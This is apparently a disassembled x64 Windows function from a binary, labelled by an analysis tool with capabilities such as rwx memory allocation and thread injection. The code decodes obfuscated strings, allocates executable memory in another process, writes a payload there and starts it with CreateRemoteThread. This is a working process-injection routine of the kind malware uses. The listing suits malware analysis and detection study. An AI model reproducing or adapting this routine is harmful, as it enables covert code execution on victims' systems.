Function at 0x140001520
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rbx, r8
mov rsi, rcx
test rcx, rcx
je 0x140001784
test edx, edx
je 0x140001784
movabs r8, 0xb558ef3f2590fd5
lea r9, [rsp + 0x50]
movabs rcx, 0x253952d2089d510e
movabs rax, 0x7937e7bf96386099
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movabs rax, 0x253952d249e4236f
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], r8
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x40]
movdqa xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x78], rax
movabs rax, 0x3966e2969c2b6abe
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
movabs rax, 0x253952d264f13520
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x40], r8
lea r8, [rsp + 0x60]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rcx
mov rcx, rsi
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x40]
movdqa xmm0, xmmword [rsp + 0x60]
mov qword [rsp + 0x88], rax
xorps xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x60], xmm0
call fcn.140001230
mov r14, rax
test rax, rax
jne 0x140001654
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400017ba
mov rcx, qword [rbx]
jmp 0x140001791
mov r8, qword [rbx + 0x10]
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x14000163e
cmp qword [rbx + 0x18], 0xf
mov r8, rbx
jbe 0x140001686
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
xor edi, edi
mov rdx, rbp
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rcx, rsi
test eax, eax
jne 0x1400016f9
mov r9d, 0x8000
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400017bc
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400016ef
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400017db
mov rcx, r8
call fcn.140002eb4
jmp 0x1400017bc
mov qword [rsp + 0x30], rdi
mov r9, r14
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140001779
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x140001779
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140001775
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140001770
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400017db
mov rcx, r8
call fcn.140002eb4
mov al, 1
jmp 0x1400017be
xor r8d, r8d
mov rcx, rsi
jmp 0x1400016a7
mov rdx, qword [r8 + 0x18]
cmp rdx, 0xf
jbe 0x1400017ba
mov rcx, qword [r8]
inc rdx
cmp rdx, 0x1000
jb 0x1400017b5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400017db
mov rcx, r8
call fcn.140002eb4
xor edi, edi
xor al, al
mov byte [rbx], dil
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rdi
add rsp, 0x90
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3